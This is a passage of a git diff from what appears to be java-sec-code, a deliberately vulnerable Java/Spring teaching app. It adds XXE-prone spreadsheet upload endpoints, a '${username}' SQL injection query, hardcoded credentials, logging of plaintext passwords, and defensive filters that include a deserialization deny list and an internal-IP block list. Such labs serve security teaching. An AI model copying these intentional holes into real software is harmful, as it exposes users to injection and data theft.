org.apache.poi.xssf.usermodel.XSSFRow; +import org.apache.poi.xssf.usermodel.XSSFSheet; +import org.apache.poi.xssf.usermodel.XSSFWorkbook; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.multipart.MultipartFile; + +import java.io.IOException; +import java.util.Iterator; + +import static org.apache.commons.lang.StringUtils.isBlank; + +/** + * Desc: poi-ooxml xxe vuln code + * Usage: [Content_Type].xml http://localhost:8080/ooxml/upload + * Ref: https://www.itread01.com/hkpcyyp.html + * Fix: Update poi-ooxml to 3.15 or above. + * Vuln: 3.10 or below exist xxe vuln. 3.14 or below exist dos vuln. So 3.15 or above is safe version. + * + * @author JoyChou @2019-09-05 + */ +@Controller +@RequestMapping("ooxml") +public class ooxmlXXE { + + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + + @GetMapping("/upload") + public String index() { + return "xxe_upload"; // return xxe_upload.html page + } + + + @PostMapping("/readxlsx") + @ResponseBody + public String ooxml_xxe(MultipartFile file)throws IOException { + XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln + + XSSFSheet sheet = wb.getSheetAt(0); + XSSFRow row; + XSSFCell cell; + + Iterator rows = sheet.rowIterator(); + String result = ""; + + while (rows.hasNext()) + { + row=(XSSFRow) rows.next(); + Iterator cells = row.cellIterator(); + while (cells.hasNext()) + { + cell=(XSSFCell) cells.next(); + + if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) { + result += cell.getStringCellValue()+ " "; + } else if(cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) { + result += cell.getNumericCellValue()+ " "; + } else { + logger.info("errors"); + } + } + } + if ( isBlank(result) ){ + result = "xxe test"; + } + + return result; + } +} diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java new file mode 100644 index 00000000..4ca4bf2f --- /dev/null +++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java @@ -0,0 +1,44 @@ +package org.joychou.controller.othervulns; + +import com.monitorjbl.xlsx.StreamingReader; +import org.apache.poi.ss.usermodel.Workbook; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.multipart.MultipartFile; + +import java.io.FileInputStream; +import java.io.IOException; + + +/** + * Desc: xlsx-streamer xxe vuln code + * Usage: xl/workbook.xml + * Ref: https://www.itread01.com/hkpcyyp.html + * Fix: update xlsx-streamer to 2.1.0 or above + * + * @author JoyChou @2019-09-05 + */ +@Controller +@RequestMapping("xlsx-streamer") +public class xlsxStreamerXXE { + + + @GetMapping("/upload") + public String index() { + return "xxe_upload"; // return xxe_upload.html page + } + + + @PostMapping("/readxlsx") + public void xllx_streamer_xxe(MultipartFile file)throws IOException { + Workbook wb = StreamingReader.builder().open(file.getInputStream()); + } + + + public static void main(String[] args) throws Exception { + Workbook wb = StreamingReader.builder().open((new FileInputStream("poc.xlsx"))); + } +} diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java new file mode 100644 index 00000000..b9bc8341 --- /dev/null +++ b/src/main/java/org/joychou/dao/User.java @@ -0,0 +1,34 @@ +package org.joychou.dao; + +import java.io.Serializable; + +public class User implements Serializable { + private static final long serialVersionUID = 1L; + private Integer id; + private String username; + private String password; + + public Integer getId() { + return id; + } + public void setId(Integer id) { + this.id = id; + } + + + public String getUsername() { + return username; + } + public void setUsername(String username) { + this.username = username; + } + + + public String getPassword() { + return password; + } + public void setPassword(String password) { + this.password = password; + } + +} diff --git a/src/main/java/org/joychou/mapper/UserMapper.java b/src/main/java/org/joychou/mapper/UserMapper.java new file mode 100644 index 00000000..962f465d --- /dev/null +++ b/src/main/java/org/joychou/mapper/UserMapper.java @@ -0,0 +1,29 @@ +package org.joychou.mapper; + +import org.apache.ibatis.annotations.Mapper; +import org.apache.ibatis.annotations.Param; +import org.apache.ibatis.annotations.Select; +import org.joychou.dao.User; + +import java.util.List; + +@Mapper +public interface UserMapper { + + /** + * If using simple sql, we can use annotation. Such as @Select @Update. + * If using ${username}, application will send a error. + */ + @Select("select * from users where username = #{username}") + User findByUserName(@Param("username") String username); + + @Select("select * from users where username = '${username}'") + List findByUserNameVul(@Param("username") String username); + + List findByUserNameVul2(String username); + + User findById(Integer id); + + User OrderByUsername(); + +} diff --git a/src/main/java/org/joychou/security/AntObjectInputStream.java b/src/main/java/org/joychou/security/AntObjectInputStream.java new file mode 100644 index 00000000..ef332360 --- /dev/null +++ b/src/main/java/org/joychou/security/AntObjectInputStream.java @@ -0,0 +1,80 @@ +package org.joychou.security; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.*; + +/** + * RASP:Hook java/io/ObjectInputStream类的resolveClass方法 + * RASP: https://github.com/baidu/openrasp/blob/master/agent/java/engine/src/main/java/com/baidu/openrasp/hook/DeserializationHook.java + * + * Run main method to test. + */ +public class AntObjectInputStream extends ObjectInputStream { + + protected final Logger logger= LoggerFactory.getLogger(AntObjectInputStream.class); + + public AntObjectInputStream(InputStream inputStream) throws IOException { + super(inputStream); + } + + /** + * 只允许反序列化SerialObject class + * + * 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。 + * 类似fastjson通用类的反序列化就不能校验。 + * 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。 + * + */ + @Override + protected Class resolveClass(final ObjectStreamClass desc) + throws IOException, ClassNotFoundException + { + String className = desc.getName(); + + // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject + logger.info("Deserialize class name: " + className); + + String[] denyClasses = {"java.net.InetAddress", + "org.apache.commons.collections.Transformer", + "org.apache.commons.collections.functors"}; + + for (String denyClass : denyClasses) { + if (className.startsWith(denyClass)) { + throw new InvalidClassException("Unauthorized deserialization attempt", className); + } + } + + return super.resolveClass(desc); + } + + public static void main(String args[]) throws Exception{ + // 定义myObj对象 + MyObject myObj = new MyObject(); + myObj.name = "world"; + + // 创建一个包含对象进行反序列化信息的/tmp/object数据文件 + FileOutputStream fos = new FileOutputStream("/tmp/object"); + ObjectOutputStream os = new ObjectOutputStream(fos); + + // writeObject()方法将myObj对象写入/tmp/object文件 + os.writeObject(myObj); + os.close(); + + // 从文件中反序列化obj对象 + FileInputStream fis = new FileInputStream("/tmp/object"); + AntObjectInputStream ois = new AntObjectInputStream(fis); // AntObjectInputStream class + + //恢复对象即反序列化 + MyObject objectFromDisk = (MyObject)ois.readObject(); + System.out.println(objectFromDisk.name); + ois.close(); + } + + static class MyObject implements Serializable { + public String name; + } +} + + diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java new file mode 100644 index 00000000..ba9c3f7f --- /dev/null +++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java @@ -0,0 +1,37 @@ +package org.joychou.security; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.security.access.AccessDeniedException; +import org.springframework.security.web.access.AccessDeniedHandler; + + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * Design csrf access denied page. + * + */ +public class CsrfAccessDeniedHandler implements AccessDeniedHandler { + + protected final Logger logger= LoggerFactory.getLogger(this.getClass()); + + @Override + public void handle(HttpServletRequest request, HttpServletResponse response, + AccessDeniedException accessDeniedException) throws IOException, ServletException { + + logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + + "Referer: " + request.getHeader("referer")); + + response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html + response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden + response.getWriter().write("CSRF check failed by JoyChou."); // response contents + } + +} + diff --git a/src/main/java/org/joychou/security/HttpFilter.java b/src/main/java/org/joychou/security/HttpFilter.java new file mode 100644 index 00000000..2d6354e7 --- /dev/null +++ b/src/main/java/org/joychou/security/HttpFilter.java @@ -0,0 +1,78 @@ +package org.joychou.security; + + +import javax.servlet.*; +import javax.servlet.annotation.WebFilter; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +import org.apache.commons.lang.StringUtils; +import org.joychou.config.WebConfig; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.util.AntPathMatcher; +import org.springframework.util.PathMatcher; + + +/** + * Check referer for all GET requests with callback parameters. + * If the check of referer fails, a 403 forbidden error page will be returned. + * + * Still need to add @ServletComponentScan annotation in Application.java. + * + */ +@WebFilter(filterName = "referFilter", urlPatterns = "/*") +public class HttpFilter implements Filter { + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + private final Logger logger= LoggerFactory.getLogger(HttpFilter.class); + + @Override + public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) + throws IOException, ServletException { + + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + + String refer = request.getHeader("referer"); + PathMatcher matcher = new AntPathMatcher(); + boolean isMatch = false; + for (String uri: WebConfig.getReferUris()) { + if ( matcher.match (uri, request.getRequestURI()) ) { + isMatch = true; + break; + } + } + + if (isMatch) { + if (WebConfig.getReferSecEnabled()) { + // Check referer for all GET requests with callback parameters. + for (String callback: WebConfig.getCallbacks()) { + if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter(callback)) ){ + // If the check of referer fails, a 403 forbidden error page will be returned. + if (!SecurityUtil.checkURLbyEndsWith(refer, WebConfig.getReferWhitelist())){ + logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t" + + "Referer: " + refer); + response.sendRedirect("https://test.joychou.org/error3.html"); + return; + } + } + } + } + } + + + + filterChain.doFilter(req, res); + } + + @Override + public void destroy() { + + } +} diff --git a/src/main/java/org/joychou/security/LoginFailureHandler.java b/src/main/java/org/joychou/security/LoginFailureHandler.java new file mode 100644 index 00000000..eb41014e --- /dev/null +++ b/src/main/java/org/joychou/security/LoginFailureHandler.java @@ -0,0 +1,32 @@ +package org.joychou.security; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.security.core.AuthenticationException; +import org.springframework.security.web.authentication.AuthenticationFailureHandler; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + + + +public class LoginFailureHandler implements AuthenticationFailureHandler { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @Override + public void onAuthenticationFailure(HttpServletRequest request, + HttpServletResponse response, AuthenticationException exception) + throws ServletException, IOException { + + logger.info("Login failed. " + request.getRequestURL() + + " username: " + request.getParameter("username") + + " password: " + request.getParameter("password") ); + + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + response.getWriter().write("{\"code\":1, \"message\":\"Login failed.\"}"); + } + +} diff --git a/src/main/java/org/joychou/security/LoginSuccessHandler.java b/src/main/java/org/joychou/security/LoginSuccessHandler.java new file mode 100644 index 00000000..75765b02 --- /dev/null +++ b/src/main/java/org/joychou/security/LoginSuccessHandler.java @@ -0,0 +1,46 @@ +package org.joychou.security; + +import com.alibaba.fastjson.JSON; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.security.core.Authentication; +import org.springframework.security.web.authentication.AuthenticationSuccessHandler; +import org.springframework.security.web.savedrequest.DefaultSavedRequest; +import org.springframework.security.web.savedrequest.HttpSessionRequestCache; +import org.springframework.security.web.savedrequest.SavedRequest; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.net.URI; +import java.util.HashMap; +import java.util.Map; + + +public class LoginSuccessHandler implements AuthenticationSuccessHandler { + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @Override + public void onAuthenticationSuccess(HttpServletRequest request, + HttpServletResponse response, Authentication authentication) + throws ServletException, IOException { + + logger.info("USER " + authentication.getName()+ " LOGIN SUCCESS."); + + SavedRequest savedRequest = new HttpSessionRequestCache().getRequest(request, response); + if (savedRequest != null) { + logger.info("Original url is: " + savedRequest.getRedirectUrl()); + } + + Map content = new HashMap<>(); + content.put("code", "0"); + content.put("message", "Login success"); + + // google ajax and sendRedirect + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + response.getWriter().write(JSON.toJSONString(content)); + } +} diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java new file mode 100644 index 00000000..6ecba2f2 --- /dev/null +++ b/src/main/java/org/joychou/security/SSRFChecker.java @@ -0,0 +1,136 @@ +package org.joychou.security; + +import java.net.HttpURLConnection; +import java.net.InetAddress; +import java.net.URI; +import java.net.URL; +import org.apache.commons.net.util.SubnetUtils; + +public class SSRFChecker { + + private static int connectTime = 5*1000; // 设置连接超时时间5s + + /** + * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 + * url只允许https或者http,并且设置默认连接超时时间。 + * 该修复方案会主动请求重定向后的链接。最好用Hook方式获取到所有url后,进行判断,代码待续… + * + * @param url check的url + * @return 安全返回true,危险返回false + */ + public static Boolean checkSSRF(String url) { + + HttpURLConnection connection; + String finalUrl = url; + try { + do { + // 判断当前请求的URL是否是内网ip + Boolean bRet = isInnerIPByUrl(finalUrl); + if (bRet) { + return false; // 内网ip直接return,非内网ip继续判断是否有重定向 + } + + connection = (HttpURLConnection) new URL(finalUrl).openConnection(); + connection.setInstanceFollowRedirects(false); + connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL + connection.setConnectTimeout(connectTime); + //connection.setRequestMethod("GET"); + connection.connect(); // send dns request + int responseCode = connection.getResponseCode(); // 发起网络请求 + if (responseCode >= 300 && responseCode <=307 && responseCode != 304 && responseCode != 306) { + String redirectedUrl = connection.getHeaderField("Location"); + if (null == redirectedUrl) + break; + finalUrl = redirectedUrl; + // System.out.println("redirected url: " + finalUrl); + } else + break; + } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK); + connection.disconnect(); + } catch (Exception e) { + return true; // 如果异常了,认为是安全的,防止是超时导致的异常而验证不成功。 + } + return true; // 默认返回true + } + + + /** + * 判断一个URL的IP是否是内网IP + * + * @return 如果是内网IP,返回true;非内网IP,返回false。 + */ + public static Boolean isInnerIPByUrl(String url) { + String host = url2host(url); + if (host.equals("")) { + return true; // 异常URL当成内网IP等非法URL处理 + } + + String ip = host2ip(host); + if(ip.equals("")){ + return true; // 如果域名转换为IP异常,则认为是非法URL + } + + return isInnerIp(ip); + } + + + /** + * 使用SubnetUtils库判断ip是否在内网网段 + * + * @param strIP ip字符串 + * @return 如果是内网ip,返回true,否则返回false。 + */ + private static boolean isInnerIp(String strIP){ + + String blackSubnetlist[] = {"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8", "0.0.0.0/32"}; + + for (String subnet: blackSubnetlist) { + SubnetUtils utils = new SubnetUtils(subnet); + if (utils.getInfo().isInRange(strIP)) { + return true; + } + } + + return false; + + } + + /** + * host转换为IP + * 会将各种进制的ip转为正常ip + * 167772161转换为10.0.0.1 + * 127.0.0.1.xip.io转换为127.0.0.1 + * + * @param host 域名host + */ + private static String host2ip(String host) { + try { + InetAddress IpAddress = InetAddress.getByName(host); // send dns request + return IpAddress.getHostAddress(); + } + catch (Exception e) { + return ""; + } + } + + /** + * 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。 + * + * @param url http的url + */ + private static String url2host(String url) { + try { + // 使用URI,而非URL,防止被绕过。 + URI u = new URI(url); + if (!url.startsWith("http://") && ! url.startsWith("https://")) { + return ""; + } + + return u.getHost(); + + } catch (Exception e) { + return ""; + } + + } +} diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java new file mode 100644 index 00000000..65681836 --- /dev/null +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -0,0 +1,121 @@ +package org.joychou.security; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.UnsupportedEncodingException; +import java.net.URI; +import java.net.URLDecoder; +import java.util.regex.Pattern; + +public class SecurityUtil { + + private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$") ; + + protected static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); + /** + * 通过endsWith判断URL是否合法 + * + * @param url 需要check的url + * @param urlwhitelist url白名单list + * @return 安全url返回true,危险url返回false + */ + public static Boolean checkURLbyEndsWith(String url, String[] urlwhitelist) { + if (null == url) { + return false; + } + try { + URI uri = new URI(url); + + if (!url.startsWith("http://") && !url.startsWith("https://")) { + return false; + } + + String host = uri.getHost().toLowerCase(); + for (String whitelist: urlwhitelist){ + if (host.endsWith("." + whitelist)) { + return true; + } + } + + return false; + } catch (Exception e) { + return false; + } + } + + /** + * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 + * + * @param url check的url + * @return 安全返回true,危险返回false + */ + public static Boolean checkSSRF(String url) { + if (SSRFChecker.checkSSRF(url)) { + return true; + } else { + return false; + } + } + + + /** + * Suitable for: TTL isn't set to 0 & Redirect is forbidden. + * + * @param url The url that needs to check. + * @return Safe url returns true. Dangerous url returns false. + */ + public static boolean checkSSRFWithoutRedirect(String url) { + return !SSRFChecker.isInnerIPByUrl(url); + } + + /** + * Check SSRF by host white list. + * This is the simplest and most effective method to fix ssrf vul. + * + * @param url The url that needs to check. + * @param hostWlist host whitelist + * @return Safe url returns true. Dangerous url returns false. + */ + public static boolean checkSSRFByHostWlist(String url, String[] hostWlist) { + return checkURLbyEndsWith(url, hostWlist); + } + + /** + * Filter file path to prevent path traversal vulns. + * + * @param filepath file path + * @return illegal file path return null + */ + public static String pathFilter(String filepath) { + String temp = filepath; + + // use while to sovle multi urlencode + while (temp.indexOf('%') != -1) { + try { + temp = URLDecoder.decode(temp, "utf-8"); + } catch (UnsupportedEncodingException e) { + logger.info("Unsupported encoding exception: " + filepath); + return null; + } catch (Exception e) { + logger.info(e.toString()); + return null; + } + } + + if (temp.indexOf("..") != -1 || temp.charAt(0) == '/') { + return null; + } + + return filepath; + } + + + public static String cmdFilter(String input) { + if (!FILTER_PATTERN.matcher(input).matches()) { + return null; + } + + return input; + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java new file mode 100644 index 00000000..127115f3 --- /dev/null +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -0,0 +1,82 @@ +package org.joychou.security; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.web.csrf.CookieCsrfTokenRepository; +import org.springframework.security.web.util.matcher.RequestMatcher; +import javax.servlet.http.HttpServletRequest; +import java.util.Arrays; +import java.util.HashSet; + + +/** + * Congifure csrf + * + */ +@EnableWebSecurity +@Configuration +public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + + @Value("${joychou.security.csrf.enabled}") + private Boolean csrfEnabled = false; + + @Value("${joychou.security.csrf.exclude.url}") + private String[] csrfExcludeUrl; + + @Value("${joychou.security.csrf.method}") + private String[] csrfMethod = {"POST"}; + + RequestMatcher csrfRequestMatcher = new RequestMatcher() { + + @Override + public boolean matches(HttpServletRequest request) { + + // 配置需要CSRF校验的请求方式, + HashSet allowedMethods = new HashSet(Arrays.asList(csrfMethod)); + // return false表示不校验csrf + if (!csrfEnabled) { + return false; + } + return allowedMethods.contains(request.getMethod()); + } + + }; + + @Override + protected void configure(HttpSecurity http) throws Exception { + // 默认token存在session里,用CookieCsrfTokenRepository改为token存在cookie里。 + // 但存在后端多台服务器情况,session不能同步的问题,所以一般使用cookie模式。 + http.csrf() + .requireCsrfProtectionMatcher(csrfRequestMatcher) + .ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri,多个uri使用逗号分隔 + .csrfTokenRepository(new CookieCsrfTokenRepository()); + http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); + // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); + + // spring security login settings + http.authorizeRequests() + .antMatchers("/css/**", "/js/**").permitAll() // permit static resources + .anyRequest().authenticated().and() // any request authenticated except above static resources + .formLogin().loginPage("/login").permitAll() // permit all to access /login page + .successHandler(new LoginSuccessHandler()) + .failureHandler(new LoginFailureHandler()).and() + .logout().logoutUrl("/logout").permitAll().and() + .rememberMe(); // tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能。 + } + + @Autowired + public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { + auth + .inMemoryAuthentication() + .withUser("joychou").password("joychou123").roles("USER").and() + .withUser("admin").password("admin123").roles("USER", "ADMIN"); + } + +} + + diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java new file mode 100644 index 00000000..685340c6 --- /dev/null +++ b/src/main/java/org/joychou/util/WebUtils.java @@ -0,0 +1,26 @@ +package org.joychou.util; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import java.io.IOException; +import java.io.InputStream; + +public class WebUtils { + + // Get request body. + public static String getRequestBody(HttpServletRequest request) throws IOException { + InputStream in = request.getInputStream(); + return convertStreamToString(in); + } + + // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java + public static String convertStreamToString(java.io.InputStream is) { + java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); + return s.hasNext() ? s.next() : ""; + } + + public static String getCookieValueByName(HttpServletRequest request, String cookieName) { + Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName); + return cookie == null ? null : cookie.getValue(); + } +} diff --git a/src/main/java/org/joychou/utils/Security.java b/src/main/java/org/joychou/utils/Security.java deleted file mode 100644 index d283d34c..00000000 --- a/src/main/java/org/joychou/utils/Security.java +++ /dev/null @@ -1,59 +0,0 @@ -package org.joychou.utils; - -import com.google.common.net.InternetDomainName; - -import javax.imageio.ImageIO; -import java.awt.image.BufferedImage; -import java.io.File; -import java.io.IOException; -import java.net.URI; -import java.net.URL; - -public class Security { - /** - * @param url - * @return 安全url返回true,危险url返回false - */ - public static Boolean checkSafeUrl(String url, String[] urlwhitelist) { - try { - URL u = new URL(url); - URI uri = new URI(url); - // 判断是否是http(s)协议 - if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { - System.out.println("The protocol of url is not http or https."); - return false; - } - // 使用uri获取host - String host = uri.getHost().toLowerCase(); - - // 如果非顶级域名后缀会报错 - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - - for (String whiteurl : urlwhitelist) { - if (rootDomain.equals(whiteurl)) { - return true; - } - } - - System.out.println("Url is not safe."); - return false; - } catch (Exception e) { - System.out.println(e.toString()); - e.printStackTrace(); - return false; - } - } - - - /** - * @param file - * @desc 判断文件内容是否是图片 - */ - public static boolean isImage(File file) throws IOException { - BufferedImage bi = ImageIO.read(file); - if (bi == null) { - return false; - } - return true; - } -} \ No newline at end of file diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index cdb84e53..d144baa5 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,4 +1,35 @@ +spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC +spring.datasource.username=root +spring.datasource.password=woshishujukumima +spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver +mybatis.mapper-locations=classpath:mapper/*.xml + # Spring Boot Actuator Vulnerable Config management.security.enabled=false -logging.config=classpath:logback-online.xml \ No newline at end of file +# logging.config=classpath:logback-online.xml + + + +### check referer configuration begins ### +joychou.security.referer.enabled = false +joychou.security.referer.hostwhitelist = joychou.org, joychou.com +# Only support ant url style. +joychou.security.referer.uri = /jsonp/** +### check referer configuration ends ### + + +### csrf configuration begins ### +# csrf token check +joychou.security.csrf.enabled = true +# URI without CSRF check (only support ANT url format) +joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/** +# method for CSRF check +joychou.security.csrf.method = POST +### csrf configuration ends ### + + +### jsonp configuration begins ### # auto convert json to jsonp +# callback parameters name +joychou.security.jsonp.callback = callback, _callback +### jsonp configuration ends ### \ No newline at end of file diff --git a/src/main/resources/create_db.sql b/src/main/resources/create_db.sql new file mode 100644 index 00000000..350b24f1 --- /dev/null +++ b/src/main/resources/create_db.sql @@ -0,0 +1,9 @@ +USE `java_sec_code`; +CREATE TABLE IF NOT EXISTS `users`( + `id` INT UNSIGNED AUTO_INCREMENT, + `username` VARCHAR(255) NOT NULL, + `password` VARCHAR(255) NOT NULL, + PRIMARY KEY (`id`) +)ENGINE=InnoDB DEFAULT CHARSET=utf8; +INSERT INTO `users` VALUES (1, 'admin', 'admin123'); +INSERT INTO `users` VALUES (2, 'joychou', 'joychou123'); diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml new file mode 100644 index 00000000..df4344e6 --- /dev/null +++ b/src/main/resources/mapper/UserMapper.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/main/resources/static/css/login.css b/src/main/resources/static/css/login.css new file mode 100644 index 00000000..26401f4e --- /dev/null +++ b/src/main/resources/static/css/login.css @@ -0,0 +1,106 @@ +.login-page { + width: 360px; + padding: 8% 0 0; + margin: auto; +} +.form { + position: relative; + z-index: 1; + background: #ffffff; + max-width: 360px; + margin: 0 auto 100px; + padding: 45px; + text-align: center; + box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.2), 0 5px 5px 0 rgba(0, 0, 0, 0.24); +} +.form input { + outline: 0; + background: #f2f2f2; + width: 100%; + border: 0; + margin: 0 0 15px; + padding: 15px; + box-sizing: border-box; + font-size: 14px; +} +.form button { + text-transform: uppercase; + outline: 0; + background: #4caf50; + width: 100%; + border: 0; + padding: 15px; + color: #ffffff; + font-size: 14px; + -webkit-transition: all 0.3 ease; + transition: all 0.3 ease; + cursor: pointer; +} +.form button:hover, +.form button:active, +.form button:focus { + background: #43a047; +} +.form .message { + margin: 15px 0 0; + color: #b3b3b3; + font-size: 12px; +} +.form .message a { + color: #4caf50; + text-decoration: none; +} +.form .register-form { + display: none; +} +.form p { + text-align: left; + margin: 0; + font-size: 13px; +} +.form p input { + width: auto; + margin-right: 10px; +} +.container { + position: relative; + z-index: 1; + max-width: 300px; + margin: 0 auto; +} +.container:before, +.container:after { + content: ""; + display: block; + clear: both; +} +.container .info { + margin: 50px auto; + text-align: center; +} +.container .info h1 { + margin: 0 0 15px; + padding: 0; + font-size: 36px; + font-weight: 300; + color: #1a1a1a; +} +.container .info span { + color: #4d4d4d; + font-size: 12px; +} +.container .info span a { + color: #000000; + text-decoration: none; +} +.container .info span .fa { + color: #ef3b3a; +} +body { + background: #76b852; /* fallback for old browsers */ + background: -webkit-linear-gradient(right, #76b852, #8dc26f); + background: -moz-linear-gradient(right, #76b852, #8dc26f); + background: -o-linear-gradient(right, #76b852, #8dc26f); + background: linear-gradient(to left, #76b852, #8dc26f); + font-family: Lato,"PingFang SC","Microsoft YaHei",sans-serif; +} diff --git a/src/main/resources/templates/form.html b/src/main/resources/templates/form.html new file mode 100644 index 00000000..2ed5a571 --- /dev/null +++ b/src/main/resources/templates/form.html @@ -0,0 +1,28 @@ + + + + + + + + + + + +

+ + +
+ + + +
+
+ + + + + + + + \ No newline at end of file diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html new file mode 100644 index 00000000..e3a3d25e --- /dev/null +++ b/src/main/resources/templates/index.html @@ -0,0 +1,24 @@ + + + + + Home Page + + +

Hello .

+

Welcome to login java-sec-code application. Application Infomation

+

+ CmdInject   + JSONP   + PathTraversal   + SqlInject   + SSRF   + RCE   + ooxml XXE   + xlsx-streamer XXE +

+

...

+ logout + + + \ No newline at end of file diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html new file mode 100644 index 00000000..1b069872 --- /dev/null +++ b/src/main/resources/templates/login.html @@ -0,0 +1,64 @@ + + + + + Login + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/main/resources/templates/upload.html b/src/main/resources/templates/upload.html index 10898e0b..03ecf15f 100755 --- a/src/main/resources/templates/upload.html +++ b/src/main/resources/templates/upload.html @@ -4,7 +4,7 @@

file upload

-
+

diff --git a/src/main/resources/templates/uploadPic.html b/src/main/resources/templates/uploadPic.html index ce056aa7..66a6f64d 100644 --- a/src/main/resources/templates/uploadPic.html +++ b/src/main/resources/templates/uploadPic.html @@ -4,7 +4,7 @@

file upload only picture

-
+

